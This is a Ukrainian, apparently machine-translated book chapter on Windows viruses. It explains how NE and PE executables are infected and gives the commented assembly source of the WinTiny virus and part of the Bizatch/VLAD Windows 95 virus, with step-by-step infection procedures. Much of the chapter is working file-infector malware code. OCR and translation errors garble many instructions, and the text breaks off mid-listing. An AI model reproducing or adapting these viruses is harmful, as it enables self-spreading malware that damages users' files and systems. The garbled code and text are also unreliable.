Віруси під Windows

[ виправити ] текст може містити помилки, будь ласка перевіряйте перш ніж використовувати.

скачати

У цьому розділі розказано
про віруси, що заражають фай-
Пiдлога в операційному середовищі
Windows. Найбільш детально
розглянуті віруси під
Windows 95, Представлено
вихідні тексти вірусів
з докладними коментарями,
Також наведені основні
відомості про запускаються фай-
лах програм під Windows,
їх структурі, відмінностях
від файлів DOS,

Віруси під Windows 3.11

У виконуваному файлі Windows містяться в різних комбінаціях
код, дані і ресурси. Ресурси - це BIN-дані для прикладних про-
грам. Враховуючи можливість запуску файлу з DOS, формат даних
повинен розпізнаватися обома системами - і DOS, і Windows.
Для цього всі виконувані файли під Windows містять два заголовки-
ка. Перший заголовок (старий) - розпізнається DOS як програма, ви-
водящий на екран "This program requires Microsoft Windows". Другий
заголовок (NewEXE) - для роботи в Windows (див. додаток).

Як же заразити Windows NewEXE? На перший погляд файл формату
WinNE - звичайний ЕХЕ-файл. Починається він з заголовка ЕХЕ для
DOS і програми (STUB), яка виводить повідомлення "This program
requires Microsoft Windows ".

Якщо в ЕХЕ-заголовку по зсуві 18h стоїть число 40h або більше,
значить по зсуві 3Ch знаходиться зміщення заголовка NewEXE.

Тема NewEXE починається з символів "NE". Далі йде влас-
але заголовок, в якому містяться різні дані, в тому числі ад-
Реса зсувів таблиць сегментів, ресурсів та інші. Після заголовка
розташована таблиця сегментів, за нею - всі інші таблиці, далі
розміщені власне сегменти з кодом.

Отже, порядок дій:

1. Адреса заголовка NewEXE (DOS_Header +3 Ch) зменшується на 8.

2. Тема NewEXE зсувається на 8 байт тому.

3. У таблицю сегментів додається новий елемент, що описує
сегмент вірусу.

4. CS: IP NewEXE змінюється на початок вірусного коду, саме тіло
вірусу дописується в кінець файлу.

Для завантаження в пам'ять (треба перехопити вектор INT 21h з-під
Windows) необхідно використовувати функції DPMI (INT 31h). Дей-
ствия: виділення сегменту, зміна його прав доступу, запис вірусу,
перехоплення переривання 21h (робиться за допомогою функцій DPMI).

Як приклад, наводиться повний вихідний текст вірусу під Windows.
Принципи зараження такі ж, як і при зараженні ^ звичайного ЕХЕ-фай-
ла, - змінюється структура ЕХЕ-файла і середовище, в якому він працює.

.286

. MODEL TINY
. CODE

; Збережемо регістри і прапори
pushf
pusha
push ds
push es

. Перевіримо, чи доступний DPMI. Якщо доступний,
Продовжуємо, якщо ні - виходимо

mov ax, 1686h

int 2Fh

or ax, ax

jz dpmi_exist

; Відновимо регістри і прапори
exit:

pop es

pop ds

popa

popf

. Запустимо програму-носій

db OEAh
reloclP dw 0
relocCS dw OFFFFh
dpmi_exist:

; Виділимо лінійний блок пам'яті, використовуючи DPMI
mov ax, 0501h
mov cx, OFFFFh
xor bx.bx
int 31 h

; Збережемо індекс і 32-бітний лінійний адресу
. Отриманого блоку пам'яті в стеку

push si ~ ^

push di

push bx

push ex

; Створимо дескриптор в таблиці LDT
хог ах, ах
mov ex, 1
int 31 h

; B полі адреси отриманого дескриптора
. Встановимо адресу потрібного блоку пам'яті

mov bx, ax

mov ах, 7

pop dx

pop ex

int • 31h

; B поле межі отриманого дескриптора
зупинимо розмір виділеного блоку пам'яті

mov ах, 8

mov dx, OFFFFh

хог сх.сх

int 31h

; У полі прав доступу отриманого дескриптора встановимо значення,
відповідне сегменту даних, доступному для читання і запису

mov ах, 9

mov cl, 1111001 Ob

хог ch, ch

int 31h

; 3агрузім селектор в регістр DS. Після цього регістр DS буде
надавати на виділений блок пам'яті
mov ds.bx

. Читаємо з стека і зберігаємо в пам'яті
; Індекс отриманого блоку пам'яті

pop [mem_hnd +2]

pop [mem_hnd]

Отримаємо поточну DTA
mov ah, 2Fh
int 21 h
mov [DTA], bx
mov [DTA +2], es

; Знайдемо перші ЕХЕ-файл (маска *. ЕХЕ)
mov ah, 4Eh
xor ex, ex

mov dx, OFFSET wild_exe
push ds
push cs
pop ds
int 21 h
pop ds

; Якщо файл знайдений, перейдемо до зараження, інакше звільнимо
; Виділену область пам'яті і запустимо програму-носій
jnc found_exe

; 0свободім виділену область пам'яті
call free

. Запустимо програму-носій
jmp exit

. Перейдемо до наступного файлу - цей не підходить
close_exe:

; Закриємо файл
mov ah, 3Eh
int 21h

; Знайдемо Наступне фото
mov ah, 4Fh
int 21h

; Якщо файл знайдений, перейдемо до зараження, інакше звільнимо
-. Виділену область пам'яті і запустимо програму-носій
jnc found_exe

; 0свободім виділену область пам'яті
call free

; 3апустім програму-носій
jmp exit

; Файл знайдений, перевіримо його на придатність до зараження
found ехе:

; 0ткроем файл для читання та запису
push ds

Ids dx, DWORD PTR [DTA]
add dx.lEh
mov ax, 3D02h
int 21 h
pop ds

. Прочитаємо старий заголовок
mov dx.OFFSET old_hdr
mov bx.ax
mov cx, 40h
mov ah, 3Fh
int 21h

; Перевіримо сигнатуру, це ЕХЕ-файл?
cmp WORD PTR [old_hdr], "ZM"
jne close_exe

[Перевіримо зсув таблиці настройки адрес.

; Якщо значення більше 40h, то це не звичайний ЕХЕ-файл.

; Не будемо відразу робити висновок,

; Що це NewEXE, тому ^ що це може виявитися

; РЕ-, LE-, LX-executable або інший

; (PE-executable описаний в розділі,

[Присвяченому Windows 95, інші

; Типи ЕХЕ-файлів в цій книзі не розглядаються)

cmp [old_hdr +18 h], WORD PTR 40h

jb close_exe

. Перейдемо до другого заголовку (може бути, це NewEXE?):

Переводимо покажчик до зсуву, зазначеного у полі 3Ch

mov dx.WORD PTR [old_hdr +3 Ch]

mov cx.WORD PTR [old_hdr +3 Eh]

mov ax, 4200h

int 21h

; Прочитаємо другий заголовок
mov dx.OFFSET newJ-idr
mov ex, 40h
mov ah, 3fh
int 21h

[Перевіримо сигнатуру, якщо сигнатура "NE", то це NewEXE-файл
cmp WORD PTR [new_hdr], "EN"
jne close_exe

[Перевіримо, для Windows чи призначений цей файл. Якщо так, будемо
; Заражати, інакше переходимо до наступного файлу

mov al, [new_hdr +36 h]

and al, 2

jz close_exe

. Перемістити покажчик читання / запису в таблицю сегментів,
; До елемента, що означає сегмент точки старту програми.
[Для цього прочитаємо значення регістра CS при запуску
[Цього ЕХЕ-файла

mov dx.WORD PTR [new_hdr +16 h]

; За номером сегмента обчислимо положення відповідного йому
[Елемента в таблиці сегментів

dec dx

shi dx, 3

; K результату додамо зсув таблиці сегментів і зміщення
. Заголовка NewEXE

add dx, WORD PTR [new_hdr +22 h]

add dx.WORO PTR [old_hdr +3 ch]

mov cx.WORD PTR [old_hdr +3 eh]

[Перемістити покажчик читання / запису
mov ax, 4200h
int 21 h

[Прочитаємо з таблиці сегментів зсув логічного сектора
mov dx, OFFSET temp
mov ex, 2
mov ah, 3Fh
int 21 h

. Обчислимо зміщення сегмента, спираючись на значення
. Зсуву логічного сектора і множника секторів

mov dx.WORD PTR [temp]

mov cx.WORD PTR [new_hdr +32 h]

xor ax.ax

cal_entry:

shi dx, 1

rcl ax, 1

loop cal_entry

. Перемістимо 16 старших біт 32-бітного результату в регістр СХ
mov cx, ax

; Додамо до результату зсув стартового адреси (IP)
add dx, WORD PTR [new_hdr +14 h]
adc cx.O

; Перемістити покажчик позиції читання / запису на точку старту
. Програми - результат обчислення

mov ax, 4200h

int 21 h

; Вважаємо перші 10 байт після старту програми
mov dx, OFFSET temp
mov cx, 10h
mov ah, 3Fh
int 21 h

Перевіримо, чи заражений файл. Якщо лічені 10 байт в точності
; Збігаються з першими 10-ма байтами нашого вірусу, файл заражений.
; У цьому випадку переходимо до пошуку наступного, інакше - заражаємо

mov si.OFFSET temp

push cs

pop es

xor di.di

mov ex, 8

eld

rep cmpsw

jne ok_to_infect

jmp close_exe

Приступимо до зараження
ok_to_infect:

Перемістимо NE-заголовок на 8 байт ближче до початку файлу.
; Виправимо відповідні поля старого заголовка
sub WORD PTR [old_hdr +10 h], 8

sub WORD PTR [old_hdr +3 ch], 8
sbb WORD PTR [old_hdr +3 eh], 0

; Виправимо значення таблиць в новому заголовку, щоб перемістилися
; Тільки заголовок і таблиця сегментів (без інших таблиць)

add WORD PTR [new_hdr +4], 8

add WORD PTR [new_hdr +24 h], 8

add WORD PTR [new_hdr +26 h], 8

add WORD PTR [new_hdr +28 h], 8

add WORD PTR [new_hdr +2 ah], 8

; Збережемо оригінальні значення точок входу CS і IP
push WORD PTR [new_hdr +14 h]
pop [hostJp]

pushTWORD PTR [new_hdr +16 h]
pop [host_cs]

; Додамо ще один сегмент в таблицю сегментів і встановимо
; Точку входу на його початок

mov WORD PTR [new_hdr +14 h], 0

inc WORD PTR [new_hdr +1 ch]

push WORD PTR [new_hdr +1 ch]

pop WORD PTR [new_hdr +16 h]

. Перемістити покажчик читання / запису в початок файлу
; (До старого заголовка)

хог сх.сх

xor dx.dx

mov ax, 4200h

int 21 h

; 3апішем старий заголовок, так як модифіковані
; Деякі поля його копії в пам'яті

mov dx.OFFSET old_hdr

mov cx, 40h

mov ah, 40h

int 21 h

; Перемістити покажчик читання / запису на початок нового
заголовка (його перемістили на 8 байт до початку файлу)

mov dx.WORD PTR [old_hdr +3 ch]

mov cx, WORD PTR [old_hdr +3 eh]

mov ax, 4200h
int 21 h

; 3апішем новий заголовок, так як в його копії
; В пам'яті деякі поля модифіковані

mov dx, OFFSET new_hdr

mov cx, 40h

mov ah, 40h

int 21h

. Перемістити покажчик читання / запису на 8 байт
; Вперед - до початку таблиці сегментів

хог сх.сх

mov dx, 8

mov ax, 4201 h

int 21h

розрахуємо розмір таблиці сегментів і вважаємо її в пам'ять
mov dx, OFFSET temp
mov cx.WORD PTR [new_hdr +1 ch]
dec ex
shi cx.3
push ex
mov ah, 3Fh
int 21h

Перемістимо покажчик читання / запису назад, до позиції
; За 8 байт перед початком таблиці сегментів

pop dx

push dx

add dx, 8

neg dx

mov cx, -1

mov ax, 4201h

int 21h

; 3апішем таблицю сегментів у файл, але не на її колишнє місце,
; А на 8 байт ближче до початку файлу

mov dx, OFFSET temp

pop ex

mov ah, 40h

int 21h

. Прочитаємо поточну позицію читання / запису (кінець таблиці сегментів)
xor сх, сх
xor dx.dx
mov ^ ax, 4201h
int 21 h

; Збережемо в стеку поточну позицію читання / запису
push dx
push ax

. Отримаємо довжину файлу, перемістивши покажчик
^ Тенія / запису в кінець файлу

xor сх.сх

xor dx, dx

mov ax, 4202h

int 21 h

; Збережемо в стеку довжину файлу
push dx
push ax

; Обчислимо і збережемо довжину логічного сектора
mov cx.WORD PTR [new_hdr +32 h]
mov ax, 1
shi ax.cl
mov [log_sec_len], ax

; Обчислимо довжину файлу в логічних секторах
mov сх.ах
pop ax
pop dx
div ex

-. Врахуємо неповний сектор. Якщо в результаті вийшов
; Залишок, збільшимо кількість секторів

or dx, dx

jz no_rmd

inc ax
no_rmd:

; 3аполнім поля нового елемента в таблиці сегментів
mov [my_seg_entry], ax

3-1436

mov [my_seg_entry +2], OFFSET vir_end

mov [my_seg_entry +4], 180h

mov [my_seg_entry +6], OFFSET vir_end

; Відновимо з стека позицію у файлі кінця таблиці секторів
pop dx
pop ex

Перемістимо покажчик читання / запису до цієї позиції
mov ax, 4200h
int 21 h

. Запишемо в кінець таблиці новий елемент
mov dx, OFFSET my_seg_entry
mov ex, 8
mov ah, 40h
int 21 h

; Скопіюємо тіло вірусу в область пам'яті, яку виділили

; На початку програми, для змін у ньому. У захищеному режимі

; (А працюємо саме в ньому), не можна зробити запис у сегмент

; Коду. Якщо з якоїсь причини потрібно провести зміну

; В сегменті коду, створюється аліасний дескриптор даних

; (Дескриптор, що містить те ж зміщення і довжину,

; Що і сегмент коду), і подальша робота ведеться з ним.

; У даному випадку просто скористаємося виділеним блоком пам'яті

push ds

pop es

push cs

pop ds

xor si, si

mov di, OFFSET temp

mov ex, OFFSET vir_end

eld

rep movsb

push es

pop ds

Ініціалізіруем адреса точки входу
mov si, OFFSET temp
mov WORD PTR [si + reloc! P], 0
mov WORD PTR [si + relocCS], OFFFFh

Перемістимо покажчик читання / запису на нову точку входу

mov ax, [my_seg_entry]

mov cx, [log_sec_len]

mul ex

mov cx.dx

mov dx.ax

mov ax, 4200h

int 21h

; 3апішем тіло вірусу в файл

mov dx, OFFSET temp

mov ex, OFFSET vir_end

mov ah, 40h

int 21h

. Ініціалізіруем поля переміщуваного елемента
mov WORD PTR [reloc_data], 1
mov BYTE PTR [reloc_data +2], 3
mov BYTE PTR [reloc_data +3], 4
mov WORD PTR [reloc_data +4], OFFSET reloclP

; 3апішем переміщуваний елемент
mov dx, OFFSET reloc_data
mov ex, 10
mov ah, 40h
int 21h

[Закриємо файл
mov ah, 3Eh
int 21h

. Звільнимо виділений блок пам'яті
call free

; 3апустім програму-носій
jmp exit

. Процедура, яка звільняє виділений блок пам'яті
free PROC NEAR

mov ax, 0502h

mov si, [mem_hnd]

mov di, [mem_hnd +2]

з *

int 31 h
ret
free ENDP

; Маска для пошуку файлів
wild_exe DB "• ЕХЕ-.О

; Ім'я вірусу

DB "WinTiny"

; Ідентифікатор, що вказує на кінець ініціалізованих даних
vir_end:

. Індекс виділеного блоку пам'яті
mem_hnd DW?
DW?

; Адреса поточної DTA
DTA DW?
DW?

; Місце для зберігання старого заголовка
olcLhdr DB 40h dup (?)

. Місце для зберігання нового заголовка
new_hdr DB 40h dup (?)

; Довжина логічного номера сектора
log_sec_len DW?

; Новий елемент у таблиці сегментів
my_seg_entry DW?

DW?

DW?

DW?

. Переміщуваний елемент
reloc_dataDW?

DB?

DB?

DW?

; 3наченіе оригінальної точки входу
host_cs DW?
hostJp DW?

; 0бласть пам'яті для використання
temp DB?
END

Віруси під Windows 95

Формат Portable Executable використовується Win32, Windows NT
і Windows 95, що робить його дуже популярним, і в майбутньому, можли-
але, він стане домінуючим форматом ЕХЕ. Цей формат значною
але відрізняється від NE-executable, використовуваного в Windows 3.11.

виклик Windows 95 API

Звичайні програми викликають Windows 95 API (Application Program
Interface) використовуючи таблицю імпортованих імен. Коли додаток
додано, дані, необхідні для виклику API, заносяться в цю табли-
цу. У Windows 95, завдяки передбачливості фірми-проводите-
ля Microsoft, модифіковані таблицю імпортованих імен неможливе.

Ця проблема вирішується безпосереднім викликом KERNEL32. Тобто
необхідно повністю ігнорувати структуру виклику і перейти не-
посередньо на точку входу DLL.

Щоб отримати описувач (Handle) DLL / EXE, можна використовувати
виклик API GetModuleHandle або інші функції для отримання точок
входу модуля, включаючи функцію отримання адреси API GetProcAddress.

Як викликати API, маючи можливість викликати його і в той самий час та-
кою можливості не маючи? Відповідь: викликати API, розташування которо-
го в пам'яті відомо - це API у файлі KERNEL32.DLL, він знаходиться
по постійному адресою.

Виклик API додатками виглядає приблизно так:

call APLFUNCTIONJMAME
наприклад:

call CreateFileA
Після компіляції цей виклик виглядає так:

db 9Ah. інструкція call
dd 7777; зсув в таблиці переходів

Код в таблиці переходів схожий на такий:

jmp far [offset into import table]

Зсув в таблиці імпортованих імен містить адресу диспетчера
для даної функції API. Ця адреса можна отримати за допомогою
GetProcAddress API. Диспетчер функцій виглядає так:

push function value
call Module Entrypoint

Знаючи точки входу, можна викликати їх безпосередньо, минаючи таблицю цього
модуля. Тому можна замінити виклики KERNEL32.DLL в його стан-
дартної точці на виклики безпосередньо функцій. Просто зберігаємо
в стеку значення функції і викликаємо точку входу в модуль.

Модуль KERNEL32 розташовується в пам'яті статично - саме так
і передбачалося. Але конкретне місце його розташування в різних вір-
сіях Windows 95 відрізняється. Це було підтверджено. Виявилося, що одна
функція (отримання часу / дати) відрізняється номером. Для компен-
сації цих відмінностей додана перевірка двох різних місць на наяв-
чіе KERNEL32. Але якщо KERNEL32 все-таки не знайдено, вірус повер-
щает керування програмі-носію.

Адреси та номери функцій

Для June Test Release KERNEL32 знаходиться за адресою OBFF93B95h, для
August Release - за адресою OBFF93ClDh. Можна знайти інші значен-
ня функції, використовуючи 32-бітний відладчик. У таблиці 3.1 наведені
адреси функцій, які потрібні для роботи вірусу.

Таблиця 3.1. Адреси деяких функцій KERNEL

Функція Адреса в June Test Release Адреса в August Test
Release
GetCurrentDir BFF77744h BFF77744h
SetCurrentDir BFF7771Dh BFF7771Dh
GetTime BFF9DOB6h BFF9D14Eh
MessageBox BFF638D9h BFF638D9h
FindFile BFF77893h BFF77893h
FindNext BFF778CBh BFF778CBh
CreateFile BFF77817h BFF77817h
SetFilePointer BFF76FAOh BFF76FAOh
ReadFile BFF75806h BFF75806h
WriteFile BFF7580Dh BFF7580Dh
CloseFile BFF7BC72H BFF7BC72h


Угоди про виклики

Windows 95 написаний на мовах C + + (в основному) і Assembler. І, хоча
угоди про виклики прості для застосування, Microsoft їх не викорис-
зует. Всі API під Wm95 використовують Pascal Calling Convention. При-
заходів - API, описаний у файлах довідки Visual C + +:

FARPROC GetProcAddress (

HMODULE hModule, / / ​​описувач DLL-модуля
LPCSTR IpszProc / / ім'я функції

);

На перший погляд здається, що достатньо лише зберегти в стеку опи-
Сатель DLL-модуля (він стоїть перед покажчиком на ім'я функції) і дзв-
вать API. Але це не так. Параметри, згідно Pascal Calling Convention,
повинні бути збережені в стеку у зворотному порядку:

push offset IpszProc

push dword ptr [hModule]

call GetProcAddress

Використовуючи 32-бітний відладчик, можна оттрассіровать виклик і знайти

виклик KERNEL32 для кожного конкретного випадку. Це дозволить напів-
чить номер функції і обійтися без необхідної для виклику таблиці
імпортованих імен.

Зараження файлів формату PE-executable

Визначення положення початку РЕ-заголовка відбувається аналогічно
пошуку початку NE-заголовка. Якщо зсув таблиці налаштування адре-
сов (поле 18h) в заголовку ЕХЕ-файла 40h або більше, то по зсуві
ЗСЬ знаходиться зміщення PE-executable заголовка. Сигнатура PE-execu-
table ("РЕ") знаходиться, як і у NE-executable ЕХЕ-файла, на початку но-
вого заголовка.

Усередині РЕ-заголовка знаходиться таблиця об'єктів. Її формат найбільш
важливий в порівнянні з іншими. Щоб додати вірусного коду в но-
СІТЕЛ і перехоплення вірусом управління необхідно додати елемент
в таблицю об'єктів.

Основні дії зараження PE-executable файлу:

1. Знайти зсув заголовка PE-executable у файлі.

2. Вважати достатню кількість інформації із заголовка для
обчислення його повного розміру.

3. Вважати весь РЕ-заголовок і таблицю об'єктів.

4. Додати новий об'єкт в таблицю об'єктів.

5. Встановити точку входу RVA на новий об'єкт.

6. Дописати вірус до файлу за обчисленому фізичній зсуву.

7. Записати змінений РЕ-заголовок у файл.
Для визначення розташування таблиці об'єктів слід скориста-
тися значенням змінної "HeaderSize" (не плутати з "NT
headersize "), яка містить спільний розмір заголовків DOS, РЕ
і таблиці об'єктів.

Для читання таблиці об'єктів необхідно вважати HeaderSize байт
від початку файлу.

Таблиця об'єктів розташована безпосередньо за NT-заголовком. Зна-
чення "NTheadersize" показує кількість байт, наступних за полем
"Flags". Отже, для визначення зміщення таблиці об'єктів потрібно по-
лучити NTheaderSize і додати розмір поля прапорів (24).

Додавання об'єкта: отримавши кількість об'єктів, помножити його на 40
(Розмір елемента таблиці об'єктів). Таким чином визначається кош-
щення, за яким буде розташований вірус.

Дані для елемента таблиці об'єктів повинні бути обчислені з викорис-
ристанням інформації в попередньому елементі (елементі носія).

RVA = ((divv RVA + divv Virtual Size) / OBJ Alignment +1)

* OBJ Alignment

Virtual Size = ((size of virus + buffer any space) / OBJ Alignment +1)

* OBJ Alignment

Physical Size = (size of virus / File Alignment +1) * File Alignment

Physical Offset = divv Physical Offset + divv Physical Size

Object Flags = db 40h, 0, O. COh

Entrypoint RVA = RVA

Тепер необхідно збільшити на одиницю полі "кількість об'єктів"
і записати код вірусу по обчисленому "фізичній зсуву"
у розмірі "фізичного розміру" байт.

Приклад вірусу під Windows 95

.386

locals

jumps

. Model flat.STDCALL

include win32.inc деякі 32-бітові константи і структури

L equ

; 0пределім зовнішні функції, до яких буде підключатися вірус
extrn BeginPaint: PROC
extrn CreateWindowExA: PROC
extrn DefWindowProcA: PROC
extrn DispatchMessageA: PROC
extrn EndPaint: PROC
extrn ExitProcess.-PROC
extrn FindWindowA: PROC
extrn GetMessageA: PROC
extrn GetModuleHandleA: PROC
extrn GetStockObject: PROC
extrn lnvalidateRect: PROC
extrn LoadCursorA: PROC
extrn LoadlconA: PROC
extrn MessageBeep: PROC
extrn PostQuitMessage: PROC
extrn RegisterClassA: PROC
extrn ShowWindow: PROC
extrn SetWindowPos: PROC
extrn TextOutA: PROC
extrn TranslateMessage: PROC
extrn UpdateWindow: PROC

; Для підтримки Unicode Win32 інтерпретує деякі функції

; Для ANSI чи розширеного набору символів.

; Як приклад розглянемо ANSI

CreateWindowEx equ

DefWindowProc equ

DispatchMessage equ

FindWindow equ

GetMessage equ

GetModuleHandle equ

LoadCursor equ

Loadlcon equ

MessageBox equ

RegisterClass equ

TextOut equ

• data

newhwnd dd 0

Ippaint PAINTSTRUCT

msg MSGSTRUCT

we WNDCLASS

mbx_count dd 0

hinst dd 0

szTitleName db "Bizatch by Quantum / VLAD activated"

zero db 0

szAlternate db "more than once", 0

szClassName db "ASMCLASS32", 0

[Повідомлення, що виводиться у вікні
szPaint db "Left Button divssed:"
s_num db "OOOOOOOOh times.", 0

. Розмір повідомлення

MSG_L EQU ($-offset szPaint) -!

. Code

; Сюди зазвичай передається управління від завантажувача.
start:

. Отримаємо HMODULE
push L Про

call GetModuleHandle
mov [hlnst], eax
push L 0

push offset szClassName
call FindWindow
or eax.eax
jz reg_class

. Простір для модифікації рядка заголовка

mov [zero], ""
reg_class:

; Ініціалізіруем структуру WndClass

mov [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS

mov [wc.clsLpfnWndProc], offset WndProc

mov [wc.clsCbClsExtra], 0

mov [wc.clsCbWndExtra], 0

mov eax, [hlnst]

mov [wc.clsHlnstance], eax

[Завантажуємо значок

push L IDLAPPLICATION
push L 0
call Loadlcon
mov [wc.clsHlcon], eax

; Завантажуємо курсор

push L IDC.ARROW

push L 0

call LoadCursor

mov [wc.clsHCursor], eax

. Ініціалізіруем залишилися поля структури WndClass
mov [wc.clsHbrBackground], COLOR_WINDOW +1
mov dword ptr [wc.clsLpszMenuName], 0
mov dword ptr [wc.clslpszClassNameJ.offset szClassName

; Реєструємо клас вікна
push offset we
call RegisterClass

; Створюємо вікно

push L 0. IpParam
push [hinst]. hinstance
push L 0; Меню
push L 0; hwnd батьківського вікна
push L CWJJSEDEFAULT; Висота
push L CWJJSEDEFAULT; Довжина
push L CWJJSEDEFAULT; Y
push L CWJJSEDEFAULT; X
push L WSJ3VERLAPPEDWINDOW; Style
push offset szTitleName; Title Style
push offset szClassName; Class name
push L 0; extra style
call CreateWindowEx

. Зберігаємо HWND

mov [newhwnd], eax

. Відображаємо вікно на екрані
push L SW.SHOWNORMAL
push [newhwnd]
call ShowWindow

; 0бновляем вміст вікна
push [newhwnd]
call UpdateWindow

; 0чередь повідомлень
msgJoop:

. Прочитаємо таке повідомлення з черги
push L Про
push L Про
push L Про
push offset msg
call GetMessage

; Якщо функція GetMessage повернула нульове значення, то завершуємо
[Обробку повідомлень і виходимо з процесу

стр ах.0

je endJoop

Перетворимо віртуальні коди клавіш в повідомлення клавіатури
push offset msg
call TranslateMessage

Передаємо це повідомлення тому в Windows
push offset msg
call DispatchMessage

[Переходимо до наступного повідомлення
jmp msgJoop

; Вихід з процесу
endJoop:

push [msg.msWPARAM]

call ExitProcess

. Обробка повідомлень вікна. Win32 вимагає збереження регістрів

; ЕВХ, EDI. ESI. Запишемо ці регістри після "uses" в рядку "ргос".
; Це дозволить Асемблер зберегти їх
WndProc proc uses ebx edi esi, hwnd; DWORD, wmsg: DWORD,
wparam: DWORD, lparam: DWORD
LOCAL theDC: DWORD

[Перевіримо, яке повідомлення отримали, і перейдемо до обробки
cmp [wmsg], WM_DESTROY
je wmdestroy

стр [wmsg], WM_RBUTTONDOWN
je wmrbuttondown
cmp [wmsg], WM_SIZE
je wmsize

cmp [wmsg]. WM_CREATE
je wmcreate

cmp [wmsg], WM_LBUTTONDOWN

je wmlbuttondown

cmp [wmsg], WM_PAINT

je wm paint

cmp [wmsg], WM_GETMINMAXINFO

je wmgetminmaxinfo

Дана програма не обробляє це повідомлення.
. Передамо його Windows,
: Щоб воно було оброблено за замовчуванням
jmp defwndproc

. Повідомлення WM_PAINT (перемалювати вміст вікна)
wmpaint:

Підготуємо вікно для перемальовування
push offset Ippaint
push [hwnd]
call BeginPaint
mov [theDC], eax

; Переведемо в ASCII-формат значення mbx_count, яке
доводить, скільки разів була натиснута ліва кнопка миші

mov eax, [mbx_count]

mov edi, offset s_num

call HexWrite32

; Висновок рядка у вікно

push L MSG_L; Довжина рядка

push offset szPaint; Рядок

push L 5; Y

push L 5; X

push [theDC]; DC
call TextOut

; 0бозначім завершення перемальовування вікна
push offset Ippaint
push [hwnd]
call EndPaint

; Виходимо з обробки повідомлення
mov eax, 0
jmp finish

; Повідомлення WM_CREATE (створення вікна)
wmcreate:

; Виходимо з обробки повідомлення
mov eax, Про
jrnp finish

[Повідомлення, не обробляється даною програмою, передаємо Windows
defwndproc:

push [Iparam]

push [wparam]

push [wmsg]

push [hwnd]

call DefWindowProc

[Виходимо з обробки повідомлення
jmp finish

[Повідомлення WM_DESTROY (знищення вікна)
wmdestroy:

[Закриємо потік
push L Про
call PostQuitMessage

[Виходимо з обробки повідомлення
mov eax, Про
jmp finish

. Повідомлення WMJ-BUTTONDOWN (натискує ліва кнопка миші)
wmlbuttondown:

inc [mbx_count]

[Оновимо вміст вікна
push L Про
push L Про
push [hwnd]
call InvalidateRect

[Виходимо з обробки повідомлення
mov eax, Про
jmp finish

[Повідомлення WM_RBUTTONDOWN (натискує права кнопка миші)

wmrbuttondown:

push L 0
call MessageBeep

; Вихід їм з обробки повідомлення
jmp finish

; Повідомлення WM_SIZE (змінено розмір вікна)
wmsize:

[Виходимо з обробки повідомлення
mov eax, Про
jmp finish

[Повідомлення WM_GETMINMAXINFO (спроба змінити розмір
; Або положення вікна)
wmgetminmaxinfo:

[Заповнимо структуру MINMAXINFO
mov ebx, [Iparam]

mov [(MINMAXINFO ptr ebx). mintrackposition_x], 350
mov [(MINMAXINFO ptr ebx). mintrackposition_y], 60

. Виходимо з обробки повідомлення
mov eax, 0
jmp finish

[Виходимо з обробки повідомлення
finish:

ret
WndProc endp

Процедура переведення байта в ASCII-формат для друку. Значення,
[Знаходиться в регістрі AL, буде записано в ASCII-форматі
; За адресою ES: EDI
HexWriteS proc

; Поділяємо байт на полубайта і завантажуємо їх у регістри АН і AL
mov ah.al
and al.OFh
shr ah, 4

[Додаємо 30h до кожного полубайта, щоб регістри містили коди
[Відповідних символів ASCII. Якщо число,

; Записане в полубайте, було більше 9,
; То значення в цьому полубайте треба ще коригувати
or ax, 3030h

. Міняємо полубайта місцями, щоб регістр АН містив молодший
. Полубайта, а регістр AL - старший
xchg al.ah

; Перевіримо. чи треба коригувати молодший полубайта,
. Якщо так - коригуємо

cmp ah, 39h

ja @ @ 4

[Перевіримо, чи треба коригувати старший полубайта,
; Якщо так - коригуємо
@ @ 1:

cmp al, 39h

ja @ @ 3

; Збережемо значення за адресою ES: EDI
@ @ 2:

stosw

ret

. Коректуємо значення старшого полубайта
@ @ 3:

sub al, 30h

add al, "A" -10

jmp @ @ 2

[Коректуємо значення молодшого полубайта
@ @ 4:

sub ah, 30h

add ah, "A" -10

jmp @ @ 1
HexWriteS endp

[Процедура перекладу слова в ASCII-формат для друку.
[Значення, що знаходиться в регістрі АХ, буде записано
; В ASCII-форматі за адресою ES: EDI
HexWrite16 proc

; Збережемо молодший байт з стека
push ax

; 3агрузім старший байт в регістр А1_
xchg al, ah

. Переведемо старший байт в ASCII-формат
call HexWrite8

; Відновимо молодший байт з стека
pop ax

Переведемо молодший байт в ASCII-формат

call HexWrite8

ret
HexWrite-16 endp

Процедура переведення подвійного слова в ASCII-формат для друку.
; 3наченіе, що знаходиться в регістрі ЕАХ, буде записано
; В ASCII-форматі за адресою ES: EDI
HexWrite32 proc

. Збережемо молодше слово з стека
push eax

; Завантажимо старше слово в регістр АХ
shr eax, 16

[Переведемо старше слово в ASCII-формат
call HexWrite-16

[Відновимо молодше слово з стека
pop eax

[Переведемо молодше слово в ASCII-формат

call HexWrite-16

ret
HexWrite32 endp

[Зробимо процедуру WndProc доступною ззовні
public WndProc
ends

[Тут починається код вірусу. Цей код листується з файлу
; У файл. Все описане вище - всього лише програма-носій
vladseg segment para public "vlad"

assume cs: vladseg
vstart:

; Обчислимо поточний адресу

call recalc
recalc:

pop ebp

mov eax.ebp

db 2Dh; Код команди SUB AX
subme dd 30000h + (recalc-vstart)

; Збережемо адреса в стеку
push eax

[Обчислимо стартовий адресу вірусного коду
sub ebp.offset recalc

. Шукаємо KERNEL. Візьмемо другий відому нам точку KERNEL
mov eax, [ebp + offset kern2]

Перевіримо ключ. Якщо ключа немає, перейдемо до крапки 1
cmp dword ptr [eax], 5350FC9Ch
jnz notkern2

; KERNEL знайдений, точка 2

mov eax, [ebp + offset kern2]
jmp movit

; Точка 2 не підійшла, перевіримо точку 1
notkern2:

; Візьмемо адресу першої відомої нам точки KERNEL
mov eax, [ebp + offset kern1]

Перевіримо ключ, якщо ключа немає - виходимо
cmp dword ptr [eax], 5350FC9Ch
jnz nopayload

; KERNEL знайдений, точка 1

mov eax, [ebp + offset kern1]

; KERNEL знайдений, адреса точки входу знаходиться в регістрі EAX
movit:

. Збережемо адресу KERNEL
mov [ebp + offset kern]. eax
eld

; 3апомнім поточну директорію
lea eax, [ebp + offset orgdir]
push eax
push 255
call GetCurDir

; Ініціалізіруем лічильник заражень

mov byte ptr [ebp + offset countinfect], 0

; Шукаємо перший файл
infectdir:

lea eax, [ebp + offset win32_data_thang]

push eax

lea eax, [ebp + offset fname]

push eax

call FindFile

; Збережемо індекс для пошуку

mov dword ptr [ebp + offset searchhandle], eax

. Перевіримо, чи знайдений файл. Якщо файл не знайдений,
. Міняємо директорію

